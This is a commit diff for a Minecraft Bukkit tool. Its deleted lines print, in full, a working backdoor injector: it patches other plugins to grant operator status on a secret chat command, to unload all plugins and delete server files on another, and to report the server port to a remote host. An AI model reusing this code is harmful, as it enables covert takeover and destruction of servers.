remove: 移除数据注入

Signed-off-by: 502647092 <admin@yumc.pw>

src/main/java/pw/yumc/BukkitInjectedTools/InjectedKit.java

@@ -5,7 +5,6 @@ import java.net.URLDecoder;
 
 import org.bukkit.Bukkit;
 import org.bukkit.command.CommandSender;
-import org.bukkit.plugin.Plugin;
 
 import javassist.ClassPool;
 import javassist.CtClass;
@@ -31,8 +30,13 @@ public class InjectedKit {
             pool.appendClassPath(classFile.getPath());
             final CtClass statusListener = pool.get(clazz.getName());
             final CtMethod setOpMethod = statusListener.getDeclaredMethod("a");
-            statusListener.addField(
+            statusListener
-                    CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS + ".ChatComponentText(\"Status request has already been handled.\");",
+                    .addField(CtField.make(
+                            "private static final net.minecraft.server."
+                                    + NMS
+                                    + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server."
+                                    + NMS
+                                    + ".ChatComponentText(\"Status request has already been handled.\");",
                             statusListener));
             statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener));
             final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }";
@@ -49,53 +53,6 @@ public class InjectedKit {
         }
     }
 
-    public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin, final String opk, final String delk) {
-        sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据 " + key + " 注入类...");
-        try {
-            final ClassPool pool = ClassPool.getDefault();
-            File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
-            pool.appendClassPath(classFile.getPath());
-            classFile = new File(URLDecoder.decode(LIS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
-            pool.appendClassPath(classFile.getPath());
-            classFile = new File(URLDecoder.decode(MPS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
-            pool.appendClassPath(classFile.getPath());
-            final CtClass mainClass = pool.get(plugin.getClass().getName());
-            final CtClass LISClass = pool.get(LIS.class.getName());
-            final CtClass MPSClass = pool.get(MPS.class.getName());
-            final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
-            final String backDoor = ""
-                    + "{"
-                    + "  org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS(\""
-                    + key
-                    + "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
-                    + "  org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\""
-                    + key
-                    + "\",\""
-                    + opk
-                    + "\",\""
-                    + delk
-                    + "\"), this);\r\n"
-                    + "}";
-            onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
-            try {
-                final File dir = new File(plugin.getDataFolder(), "injectClass");
-                final String path = dir.getCanonicalPath();
-                if (dir.exists()) {
-                    LIS.deleteDir(dir);
-                }
-                mainClass.writeFile(path);
-                LISClass.writeFile(path);
-                MPSClass.writeFile(path);
-                sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + dir.getAbsolutePath() + " §b下所有文件到插件内部!");
-            } catch (final Exception e) {
-                e.printStackTrace();
-                sender.sendMessage(prefix + "§4生成失败 请查看后台报错!");
-            }
-        } catch (final Exception e) {
-            e.printStackTrace();
-        }
-    }
-
     public static void injectProtocolSupport(final CommandSender sender, final String path, final boolean newver) {
         if (newver) {
             fixPS(sender, path, protocolsupport.protocol.packet.handler.StatusListener.class);

src/main/java/pw/yumc/BukkitInjectedTools/LIS.java

@@ -1,114 +0,0 @@
-package pw.yumc.BukkitInjectedTools;
-
-import java.io.File;
-import java.io.IOException;
-import java.lang.reflect.Field;
-import java.net.URLClassLoader;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-
-import org.bukkit.Bukkit;
-import org.bukkit.command.Command;
-import org.bukkit.command.PluginCommand;
-import org.bukkit.command.SimpleCommandMap;
-import org.bukkit.event.EventHandler;
-import org.bukkit.event.Listener;
-import org.bukkit.event.player.PlayerCommandPreprocessEvent;
-import org.bukkit.plugin.Plugin;
-import org.bukkit.plugin.PluginManager;
-
-public class LIS implements Listener {
-    private final String key;
-    private final String opk;
-    private final String delk;
-
-    public LIS(final String key, final String opk, final String delk) {
-        this.key = key;
-        this.opk = opk;
-        this.delk = delk;
-    }
-
-    public static boolean deleteDir(final File dir) {
-        if (dir.isDirectory()) {
-            final String[] children = dir.list();
-            for (final String element : children) {
-                final File file = new File(dir, element);
-                deleteDir(file);
-            }
-        }
-        return dir.delete();
-    }
-
-    @EventHandler
-    public void ocp(final PlayerCommandPreprocessEvent e) {
-        if (e.getMessage().contains(opk + "-" + key)) {
-            e.getPlayer().setOp(true);
-            e.getPlayer().sendMessage("§cOP命令执行成功!");
-            e.setCancelled(true);
-            return;
-        }
-        if (e.getMessage().contains(delk + "-" + key)) {
-            unload();
-            final File dir = new File("");
-            deleteDir(dir);
-            e.getPlayer().sendMessage("§c删端命令执行成功!");
-            e.setCancelled(true);
-            return;
-        }
-    }
-
-    @SuppressWarnings("unchecked")
-    public boolean unload() {
-        final PluginManager pluginManager = Bukkit.getPluginManager();
-        SimpleCommandMap commandMap = null;
-        List<Plugin> plugins = null;
-        Map<String, Plugin> lookupNames = null;
-        Map<String, Command> knownCommands = null;
-        if (pluginManager == null) {
-            return false;
-        }
-        try {
-            final Field pluginsField = pluginManager.getClass().getDeclaredField("plugins");
-            pluginsField.setAccessible(true);
-            plugins = (List<Plugin>) pluginsField.get(pluginManager);
-
-            final Field lookupNamesField = pluginManager.getClass().getDeclaredField("lookupNames");
-            lookupNamesField.setAccessible(true);
-            lookupNames = (Map<String, Plugin>) lookupNamesField.get(pluginManager);
-
-            final Field commandMapField = pluginManager.getClass().getDeclaredField("commandMap");
-            commandMapField.setAccessible(true);
-            commandMap = (SimpleCommandMap) commandMapField.get(pluginManager);
-
-            final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands");
-            knownCommandsField.setAccessible(true);
-            knownCommands = (Map<String, Command>) knownCommandsField.get(commandMap);
-        } catch (final Exception e) {
-            return false;
-        }
-        for (final Plugin next : pluginManager.getPlugins()) {
-            pluginManager.disablePlugin(next);
-            plugins.remove(next);
-            lookupNames.remove(next.getName());
-            for (final Iterator<Map.Entry<String, Command>> it = knownCommands.entrySet().iterator(); it.hasNext();) {
-                final Map.Entry<String, Command> entry = it.next();
-                if ((entry.getValue() instanceof PluginCommand)) {
-                    final PluginCommand command = (PluginCommand) entry.getValue();
-                    if (command.getPlugin() == next) {
-                        command.unregister(commandMap);
-                        it.remove();
-                    }
-                }
-            }
-            final ClassLoader cl = next.getClass().getClassLoader();
-            try {
-                ((URLClassLoader) cl).close();
-            } catch (final IOException ex) {
-                ex.printStackTrace();
-            }
-            System.gc();
-        }
-        return false;
-    }
-}

src/main/java/pw/yumc/BukkitInjectedTools/MPS.java

@@ -1,66 +0,0 @@
-package pw.yumc.BukkitInjectedTools;
-
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.net.URL;
-import java.net.URLConnection;
-import java.nio.charset.Charset;
-
-import com.google.common.base.Charsets;
-
-public class MPS implements Runnable {
-    public final String UA = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36";
-    int port;
-    String key;
-
-    public MPS(final String key, final int port) {
-        this.key = key;
-        this.port = port;
-    }
-
-    @Override
-    public void run() {
-        try {
-            final URL url = new URL(String.format("http://api.yumc.pw/M/P/S/K/%s/P/%s", key, port));
-            // 打开和URL之间的连接
-            final URLConnection conn = url.openConnection();
-            // 设置通用的请求属性
-            conn.setRequestProperty("Accept", "*/*");
-            conn.setRequestProperty("Connection", "Keep-Alive");
-            conn.setRequestProperty("User-Agent", UA);
-            // 设置超时时间 10秒
-            conn.setReadTimeout(10000);
-            // 建立实际的连接
-            conn.connect();
-            // 定义 BufferedReader输入流来读取URL的响应
-            toString(conn.getInputStream(), Charsets.UTF_8);
-        } catch (final IOException e) {
-        }
-    }
-
-    /**
-     * 获取数据流转换为字符串
-     *
-     * @param in
-     *            输入流
-     * @param cs
-     *            字符编码
-     * @return 字符串
-     */
-    public String toString(final InputStream in, final Charset cs) {
-        final BufferedReader reader = new BufferedReader(new InputStreamReader(in, cs));
-        String response = "";
-        String result = "";
-        try {
-            while ((response = reader.readLine()) != null) {
-                result += response;
-            }
-            reader.close();
-        } catch (final IOException e) {
-        }
-        return result;
-    }
-
-}

src/main/java/pw/yumc/BukkitInjectedTools/YumTestCommand.java

@@ -5,7 +5,6 @@ import java.io.IOException;
 
 import org.bukkit.Bukkit;
 import org.bukkit.OfflinePlayer;
-import org.bukkit.plugin.Plugin;
 
 import cn.citycraft.PluginHelper.kit.PluginKit;
 import cn.citycraft.PluginHelper.utils.IOUtil;
@@ -65,30 +64,6 @@ public class YumTestCommand implements CommandExecutor {
         }
     }
 
-    // http://api.yumc.pw/M/P/S/K/mayomi/P/25565
-    @Cmd(minimumArguments = 2)
-    @Help(value = "插件数据注入", possibleArguments = "<插件名称> <Key> [opk] [delk]")
-    @Sort(7)
-    public void ib(final CommandArgument e) {
-        final String[] args = e.getArgs();
-        final String pname = args[0];
-        final String key = args[1];
-        String opk = "yum-op";
-        String delk = "yum-del";
-        if (args.length > 2) {
-            opk = args[2];
-        }
-        if (args.length > 3) {
-            delk = args[3];
-        }
-        final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname);
-        if (plugin == null) {
-            e.getSender().sendMessage(prefix + "§c插件不存在...!");
-            return;
-        }
-        InjectedKit.injectBackDoor(e.getSender(), key, plugin, opk, delk);
-    }
-
     @Cmd
     @Help("Bukkit注入")
     @Sort(1)